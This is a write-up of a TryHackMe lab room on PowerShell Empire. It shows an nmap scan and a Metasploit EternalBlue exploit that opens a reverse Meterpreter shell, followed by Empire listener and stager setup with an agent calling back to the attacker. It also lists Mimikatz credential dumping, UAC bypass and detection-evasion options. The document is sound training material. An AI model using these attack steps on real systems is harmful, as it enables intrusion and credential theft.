Learn how to use Powershell Empire, a powerful post-exploitation framework.
PS Empire
Deploy!#
Deploy this machine and discover what exploit this machine is vulnerable to. (Hint hint, this notice the VM name. I recommend completing the room ‘Blue’ prior to this room for this purpose alone.)
Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter.
- Deploy this machine and learn what exploitation this box is susceptible to!
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| kali@kali:~/CTFs/tryhackme/PS Empire$ sudo nmap -A -p- --script vuln 10.10.80.135
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-03 22:18 CEST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.80.135
Host is up (0.032s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3389/tcp open ssl/ms-wbt-server?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_sslv2-drown:
49152/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49153/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49154/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49158/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49160/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/3%OT=135%CT=1%CU=36932%PV=Y%DS=2%DC=T%G=Y%TM=5F78DD
OS:56%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS
OS:=7)OPS(O1=M508NW8ST11%O2=M508NW8ST11%O3=M508NW8NNT11%O4=M508NW8ST11%O5=M
OS:508NW8ST11%O6=M508ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=20
OS:00)ECN(R=Y%DF=Y%T=80%W=2000%O=M508NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y
OS:%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0
OS:%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 31.72 ms 10.8.0.1
2 31.92 ms 10.10.80.135
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 199.86 seconds
|
- Exploit the vulnerability to spawn a reverse shell!
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| | smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|
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| msf5 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index, for example use 5 or use exploit/windows/smb/smb_doublepulsar_rce
msf5 > use 2
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.178.52 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.8.106.222
LHOST => 10.8.106.222
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.80.135
RHOSTS => 10.10.80.135
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.8.106.222:4444
[*] 10.10.80.135:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.80.135:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.80.135:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.80.135:445 - Connecting to target for exploitation.
[+] 10.10.80.135:445 - Connection established for exploitation.
[+] 10.10.80.135:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.80.135:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.80.135:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.80.135:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.80.135:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.80.135:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.80.135:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.80.135:445 - Sending all but last fragment of exploit packet
[*] 10.10.80.135:445 - Starting non-paged pool grooming
[+] 10.10.80.135:445 - Sending SMBv2 buffers
[+] 10.10.80.135:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.80.135:445 - Sending final SMBv2 buffers.
[*] 10.10.80.135:445 - Sending last fragment of exploit packet!
[*] 10.10.80.135:445 - Receiving response from exploit packet
[+] 10.10.80.135:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.80.135:445 - Sending egg to corrupted connection.
[*] 10.10.80.135:445 - Triggering free of corrupted buffer.
[-] 10.10.80.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.80.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.80.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.80.135:445 - Connecting to target for exploitation.
[+] 10.10.80.135:445 - Connection established for exploitation.
[+] 10.10.80.135:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.80.135:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.80.135:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.80.135:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.80.135:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.80.135:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.80.135:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.80.135:445 - Sending all but last fragment of exploit packet
[*] 10.10.80.135:445 - Starting non-paged pool grooming
[+] 10.10.80.135:445 - Sending SMBv2 buffers
[+] 10.10.80.135:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.80.135:445 - Sending final SMBv2 buffers.
[*] 10.10.80.135:445 - Sending last fragment of exploit packet!
[*] 10.10.80.135:445 - Receiving response from exploit packet
[+] 10.10.80.135:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.80.135:445 - Sending egg to corrupted connection.
[*] 10.10.80.135:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.80.135
[*] Meterpreter session 1 opened (10.8.106.222:4444 -> 10.10.80.135:49185) at 2020-10-03 22:28:34 +0200
[+] 10.10.80.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.80.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.80.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > shell
Process 2240 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
|
Install#
PowerShell Empire is a powerful post-exploitation framework which allows us to perform various functions such as privesc, password gathering, situational awareness, and many more!
Link to the official website: https://www.bc-security.org/post/the-empire-3-0-strikes-back
Clone the following GitHub page and run the initial setup script.
https://github.com/BC-SECURITY/Empire/
- cd /opt
No answer needed
- git clone https://github.com/BC-SECURITY/Empire/
No answer needed
- cd /opt/Empire
No answer needed
- ./setup/install.sh
No answer needed
- When prompted, enter in a server negotiation password. This can be left blank for random generation, however, you should record this somewhere such as a LastPass vault.
No answer needed
- Launch Empire with either ./empire or /opt/Empire/empire
No answer needed
Listeners#
If you’re going to play ball, first you have to learn how to catch. Similar to ‘catching’ a reverse shell with Netcat, we first have to set up a listener in order to properly handle any sort of agent we would install on our victim machine. Answer the following questions using the listeners help menu and then spawn a basic listener.
- Once empire has launched, type help to view the various menus. Which menu to we launch to access listeners?
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| (Empire) > help
Commands
========
agents Jump to the Agents menu.
creds Add/display credentials to/from the database.
exit Exit Empire
help Displays the help menu.
interact Interact with a particular agent.
keyword Add keyword to database for obfuscation
list Lists active agents or listeners.
listeners Interact with active listeners.
load Loads Empire modules from a non-standard folder.
plugin Load a plugin file to extend Empire.
plugins List all available and active plugins.
preobfuscate Preobfuscate PowerShell module_source files
reload Reload one (or all) Empire modules.
report Produce report CSV and log files: sessions.csv, credentials.csv, master.log
reset Reset a global option (e.g. IP whitelists).
resource Read and execute a list of Empire commands from a file.
searchmodule Search Empire module names/descriptions.
set Set a global option (e.g. IP whitelists).
show Show a global option (e.g. IP whitelists).
uselistener Use an Empire listener module.
usemodule Use an Empire module.
usestager Use an Empire stager.
(Empire) >
|
listeners Interact with active listeners.
listeners
- Launch the listeners menu. In a manner similar to cobalt strike/metasploit, this will launch a contextual submenu. For the sake of this tutorial, we will be using an http listener in order to catch our connections. Type the command ‘uselistener http’ now. You can double-tap tab to view all options for listeners following typing ‘uselistener’
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| (Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener http
(Empire: listeners/http) >
|
No answer needed
- What command can we now type to view all of the options related to our selected listener type?
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| (Empire: listeners/http) > help
Listener Commands
=================
agents Jump to the agents menu.
back Go back a menu.
creds Display/return credentials from the database.
execute Execute the given listener module.
exit Exit Empire.
help Displays the help menu.
info Display listener module options.
launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.
main Go back to the main menu.
resource Read and execute a list of Empire commands from a file.
set Set a listener option.
unset Unset a listener option.
(Empire: listeners/http) > info
Name: HTTP[S]
Category: client_server
Authors:
@harmj0y
Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.
HTTP[S] Options:
Name Required Value Description
---- -------- ------- -----------
Name True http Name for the listener.
Host True http://192.168.178.52 Hostname/IP for staging.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True Port for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
StagingKey True (_2>^3n|1C94SaB&,!i;MPq5/[XAgUsv Staging key for initial agent negotiation.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
DefaultLostLimit True 60 Number of missed checkins before exiting
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
CertPath False Certificate path for https listeners.
KillDate False Date for the listener to exit (MM/dd/yyyy).
WorkingHours False Hours for the agent to operate (09:00-17:00).
Headers True Server:Microsoft-IIS/7.5 Headers for the control server.
Cookie False jlJBeiGTEBCfbuZ Custom Cookie Name
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php
UserAgent False default User-agent string to use for the staging request (default, none, or other).
Proxy False default Proxy to use for request (default, none, or other).
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
SlackURL False Your Slack Incoming Webhook URL to communicate with your Slack instance.
(Empire: listeners/http) >
|
info
- Once the information regarding the listener pops up, peruse this for some of the more interesting options we can set in order to disguise our actions more. Which option can we use to set specific times when our listener will be active?
WorkingHours False Hours for the agent to operate (09:00-17:00).
WorkingHours
- Similar to changing/spoofing what browser you are using on the internet, what option can we set to appear as a different user agent (i.e. chrome, firefox, etc)?
DefaultProfile True /admin/get.php,/news.php,/login/ process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Default communication profile for the agent.
DefaultProfile
- What option can we use to set the port which the listener will bind to?
Port True Port for the listener.
Port
- In addition to changing our browser profile, we can change what our server appears as. What option can we set to change this?
Depending on the context of the help menu you have up, this option might not show up (this is a rare case though). To provide further context to this question,
the server version can effective change your listener to appear as Microsoft IIS or possibly Apache. It’s all about obfuscation in this context.
ServerVersion
- Launch our newly created listener on port 80 with the command ’execute’. What message is displayed following successfully launching the listener?
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| (Empire: listeners/http) > set Port 4444
(Empire: listeners/http) > execute
[*] Starting listener 'http'
* Serving Flask app "http" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) >
|
Listener successfully started!
- We can verify that our listener is now active by typing what command?
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| (Empire: listeners/http) > listeners
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://192.168.178.52:4444 5/0.0
|
Stagers#
Stagers metaphorically and literally set the stage for post-exploitation by retrieving the remaining code and associated information necessary to spawn a full-fledged agent.
- First, type the command ‘usestager’ and double-tap tab to view all options we have for stagers. Which option allows us to use a batch file?
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| (Empire: listeners) > usestager
multi/bash osx/applescript osx/launcher osx/shellcode windows/dll windows/launcher_sct windows/shellcode
multi/launcher osx/application osx/macho osx/teensy windows/ducky windows/launcher_vbs windows/teensy
multi/macro osx/ducky osx/macro windows/backdoorLnkMacro windows/hta windows/launcher_xml windows/wmic
multi/pyinstaller osx/dylib osx/pkg windows/bunny windows/launcher_bat windows/macro
multi/war osx/jar osx/safari_launcher windows/csharp_exe windows/launcher_lnk windows/macroless_msword
|
windows/launcher_bat
- Let’s finish our previous command and select the batch file option. Press enter to finalize this. What is our new path to the ‘module’ we have selected?
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| (Empire: listeners) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) >
|
stager/windows/launcher_bat
- Since we’ve previously set our listener to use http, we must now set the associated options within our stager we are building to match that. What option must we set in order to accomplish this?
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| (Empire: stager/windows/launcher_bat) > info
Name: BAT Launcher
Description:
Generates a self-deleting .bat launcher for
Empire.
Options:
Name Required Value Description
---- -------- ------- -----------
Listener True Listener to generate stager for.
Language True powershell Language of the stager to generate.
StagerRetries False 0 Times for the stager to retry
connecting.
OutFile False /tmp/launcher.bat File to output .bat launcher to,
otherwise displayed on the screen.
Delete False True Switch. Delete .bat after running.
Obfuscate False False Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.
ObfuscateCommand False Token\All\1 The Invoke-Obfuscation command to use.
Only used if Obfuscate switch is True.
For powershell only.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
Proxy False default Proxy to use for request (default, none,
or other).
ProxyCreds False default Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).
AMSIBypass False True Include mattifestation's AMSI Bypass in
the stager code.
AMSIBypass2 False False Include Tal Liberman's AMSI Bypass in
the stager code.
|
Listener True Listener to generate stager for.
Listener
- Type execute to finish creating our stager. Where is the stager saved?
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| (Empire: stager/windows/launcher_bat) > set Listener http1
(Empire: stager/windows/launcher_bat) > execute
[*] Stager output written out to: /tmp/launcher.bat
|
/tmp/launcher.bat
- Using any shell you have previously gained into our victim system transport the stager batch file to the system and execute it. This can be done in numerous ways depending on the stager used, be prepared to be flexible with your transportation methods similarly to how you might handle an msfvenom package.
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| exit
meterpreter > upload /tmp/launcher.bat launcher.bat
[*] uploading : /tmp/launcher.bat -> launcher.bat
[*] Uploaded 5.13 KiB of 5.13 KiB (100.0%): /tmp/launcher.bat -> launcher.bat
[*] uploaded : /tmp/launcher.bat -> launcher.bat
meterpreter > shell
Process 1924 created.
Channel 5 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>launcher.bat
launcher.bat
C:\Windows\system32>
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| (Empire: stager/windows/launcher_bat) >
[*] Sending POWERSHELL stager (stage 1) to 10.10.80.135
[*] New agent FKRDZB8C checked in
[+] Initial agent FKRDZB8C from 10.10.80.135 now active (Slack)
[*] Sending agent (stage 2) to FKRDZB8C at 10.10.80.135
(Empire: stager/windows/launcher_bat) >
|
No answer needed
Agents and Post-Exploitation#
Interact with our ses.. er agents and do neat things.
- First, type agents to view our registered agents.
No answer needed
- Once you’ve typed agents to list the registered agents, the agents submenu will become active. Use the help menu to answer the following questions.
No answer needed
- What command do we use to interact with an agent?
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| (Empire: stager/windows/launcher_bat) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen Listener
---- -- ----------- ------------ -------- ------- --- ----- --------- ----------------
FKRDZB8C ps 10.10.80.135 JON-PC *WORKGROUP\SYSTEM powershell 2492 5/0.0 2020-10-03 23:26:43 http1
(Empire: agents) > interact FKRDZB8C
(Empire: FKRDZB8C) >
|
interact
- What about if we wanted to list any usernames and passwords we have gathered?
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| (Empire: FKRDZB8C) > creds
Credentials:
CredID CredType Domain UserName Host Password
------ -------- ------ -------- ---- --------
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creds
- And if we wanted to ‘deactivate’ an agent for a while to avoid detection?
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| (Empire: FKRDZB8C) > sleep
(Empire: FKRDZB8C) >
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sleep
- How about if we wanted to delete an agent or disconnect it?
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| (Empire: FKRDZB8C) > kill
[!] Please enter a process name or ID.
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kill
- Moving into the post exploitation modules, what command can we use to search through these?
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| (Empire: FKRDZB8C) > searchmodule
[!] Please enter a search term.
|
searchmodule
- We’ll start with the most important module, find the module which plays a specific AC/DC song.
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| (Empire: FKRDZB8C) > searchmodule thunderstruck
python/trollsploit/osx/thunderstruck
Open Safari in the background and play Thunderstruck.
powershell/trollsploit/thunderstruck
Play's a hidden version of AC/DC's Thunderstruck video while maxing
out a computer's volume.
|
powershell/trollsploit/thunderstruck
- What if we wanted to perform an lsa dump with a certain popular windows credential gathering tool?
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| (Empire: FKRDZB8C) > searchmodule lsa
powershell/credentials/invoke_internal_monologue*
Uses the Internal Monologue attack to force easily-decryptable Net-
NTLMv1 responses over localhost and without directly touching LSASS.
https://github.com/eladshamir/Internal-Monologue
powershell/credentials/mimikatz/dcsync
Runs PowerSploit's Invoke-Mimikatz function to extract a given account
password through Mimikatz's lsadump::dcsync module. This doesn't need
code execution on a given DC, but needs to be run from a user context
with DA equivalent privileges.
powershell/credentials/mimikatz/lsadump*
Runs PowerSploit's Invoke-Mimikatz function to extract a particular
user hash from memory. Useful on domain controllers.
powershell/credentials/mimikatz/dcsync_hashdump
Runs PowerSploit's Invoke-Mimikatz function to collect all domain
hashes using Mimikatz'slsadump::dcsync module. This doesn't need code
execution on a given DC, but needs to be run froma user context with
DA equivalent privileges.
powershell/credentials/mimikatz/pth*
Runs PowerSploit's Invoke-Mimikatz function to execute sekurlsa::pth
to create a new process. with a specific user's hash. Use
credentials/tokens to steal the token afterwards.
powershell/collection/minidump
Generates a full-memory dump of a process. Note: To dump another
user's process, you must be running from an elevated prompt (e.g to
dump lsass)
powershell/management/honeyhash*
Inject artificial credentials into LSASS.
|
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| powershell/credentials/mimikatz/lsadump*
Runs PowerSploit's Invoke-Mimikatz function to extract a particular
user hash from memory. Useful on domain controllers.
|
- Sometime we might not have the permissions level that we require to perform further actions, what module set might we have to use to get around UAC?
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| (Empire: FKRDZB8C) > searchmodule uac
powershell/situational_awareness/host/get_uaclevel
Enumerates UAC level
powershell/privesc/bypassuac_wscript
Drops wscript.exe and a custom manifest into C:\Windows\ and then
proceeds to execute VBScript using the wscript executablewith the new
manifest. The VBScript executed by C:\Windows\wscript.exe will run
elevated.
powershell/privesc/bypassuac_env
Bypasses UAC (even with Always Notify level set) by by performing an
registry modification of the "windir" value in "Environment" based on
James Forshaw
findings(https://tyranidslair.blogspot.cz/2017/05/exploiting-
environment-variables-in.html)
powershell/privesc/bypassuac_tokenmanipulation
Bypass UAC module based on the script released by Matt Nelson
@enigma0x3 at Derbycon 2017
powershell/privesc/bypassuac_sdctlbypass
Bypasses UAC by performing an registry modification for sdclt (based
onhttps://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-
exe/)
powershell/privesc/bypassuac_eventvwr
Bypasses UAC by performing an image hijack on the .msc file extension
and starting eventvwr.exe. No files are dropped to disk, making this
opsec safe.
powershell/privesc/ask
Leverages Start-Process' -Verb runAs option inside a YES-Required loop
to prompt the user for a high integrity context before running the
agent code. UAC will report Powershell is requesting Administrator
privileges. Because this does not use the BypassUAC DLLs, it should
not trigger any AV alerts.
powershell/privesc/bypassuac_fodhelper
Bypasses UAC by performing an registry modification for FodHelper
(based onhttps://winscripting.blog/2017/05/12/first-entry-welcome-and-
uac-bypass/)
powershell/privesc/bypassuac
Runs a BypassUAC attack to escape from a medium integrity process to a
high integrity process. This attack was originally discovered by Leo
Davidson. Empire uses components of MSF's bypassuac injection
implementation as well as an adapted version of PowerSploit's Invoke--
Shellcode.ps1 script for backend lifting.
|
bypassuac
- What module family allows us to gather additional information about the network we are on?
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| (Empire: FKRDZB8C) > searchmodule network
python/situational_awareness/network/port_scan
Simple Port Scanner.
python/situational_awareness/network/gethostbyname
Uses Python's socket.gethostbyname("example.com") function to resolve
host names on a remote agent.
python/situational_awareness/network/smb_mount
This module will attempt mount an smb share and execute a command on
it.
python/situational_awareness/network/find_fruit
Searches for low-hanging web applications.
python/situational_awareness/network/http_rest_api
Interacts with a HTTP REST API and returns the results back to the
screen.
python/situational_awareness/network/active_directory/get_fileservers
This module will list file servers
python/situational_awareness/network/active_directory/get_groups
This module will list all groups in active directory
python/situational_awareness/network/active_directory/get_ous
This module will list all OUs from active directory
python/situational_awareness/network/active_directory/get_userinformation
This module will return the user profile specified
python/situational_awareness/network/active_directory/dscl_get_users
This module will use the current user context to query active
directory for a list of users.
python/situational_awareness/network/active_directory/get_users
This module list users found in Active Directory
python/situational_awareness/network/active_directory/get_domaincontrollers
This module will list all domain controllers from active directory
python/situational_awareness/network/active_directory/get_groupmembers
This module will return a list of group members
python/situational_awareness/network/active_directory/dscl_get_groupmembers
This module will use the current user context to query active
directory for a list of users in a group.
python/situational_awareness/network/active_directory/get_computers
This module will list all computer objects from active directory
python/situational_awareness/network/active_directory/get_groupmemberships
This module check what groups a user is member of
python/situational_awareness/network/active_directory/dscl_get_groups
This module will use the current user context to query active
directory for a list of Groups.
python/situational_awareness/network/dcos/chronos_api_start_job
Start a Chronos job using the HTTP API service for the Chronos
Framework
python/situational_awareness/network/dcos/etcd_crawler
Pull keys and values from an etcd configuration store
python/situational_awareness/network/dcos/marathon_api_delete_app
Delete a Marathon App using Marathon's REST API
python/situational_awareness/network/dcos/chronos_api_add_job
Add a Chronos job using the HTTP API service for the Chronos Framework
python/situational_awareness/network/dcos/chronos_api_delete_job
Delete a Chronos job using the HTTP API service for the Chronos
Framework
python/situational_awareness/network/dcos/marathon_api_create_start_app
Create and Start a Marathon App using Marathon's REST API
python/collection/osx/sniffer*
This module will do a full network stack capture.
powershell/situational_awareness/network/get_sql_instance_domain
Returns a list of SQL Server instances discovered by querying a domain
controller for systems with registered MSSQL service principal names.
The function will default to the current user's domain and logon
server, but an alternative domain controller can be provided. UDP
scanning of management servers is optional.
powershell/situational_awareness/network/get_spn
Displays Service Principal Names (SPN) for domain accounts based on
SPN service name, domain account, or domain group via LDAP queries.
powershell/situational_awareness/network/get_sql_server_info
Returns basic server and user information from target SQL Servers.
powershell/situational_awareness/network/arpscan
Performs an ARP scan against a given range of IPv4 IP Addresses.
powershell/situational_awareness/network/smbscanner
Tests a username/password combination across a number of machines.
powershell/situational_awareness/network/smbautobrute
Runs an SMB brute against a list of usernames/passwords. Will check
the DCs to interrogate the bad password count of the users and will
keep bruting until either a valid credential is discoverd or the bad
password count reaches one below the threshold. Run "shell net
accounts" on a valid agent to determine the lockout threshold. VERY
noisy! Generates a ton of traffic on the DCs.
powershell/situational_awareness/network/bloodhound
Execute BloodHound data collection.
powershell/situational_awareness/network/bloodhound3
Execute BloodHound data collection (ingestor for version 3).
powershell/situational_awareness/network/reverse_dns
Performs a DNS Reverse Lookup of a given IPv4 IP Range.
powershell/situational_awareness/network/get_kerberos_service_ticket*
Retrieves IP addresses and usernames using event ID 4769 this can
allow identification of a users machine. Can only run on a domain
controller.
powershell/situational_awareness/network/smblogin
Validates username & password combination(s) across a host or group of
hosts using the SMB protocol.
powershell/situational_awareness/network/portscan
Does a simple port scan using regular sockets, based (pretty) loosely
on nmap.
powershell/situational_awareness/network/powerview/get_group
Gets a list of all current groups in a domain, or all the groups a
given user/group object belongs to. Part of PowerView.
powershell/situational_awareness/network/powerview/get_domain_policy
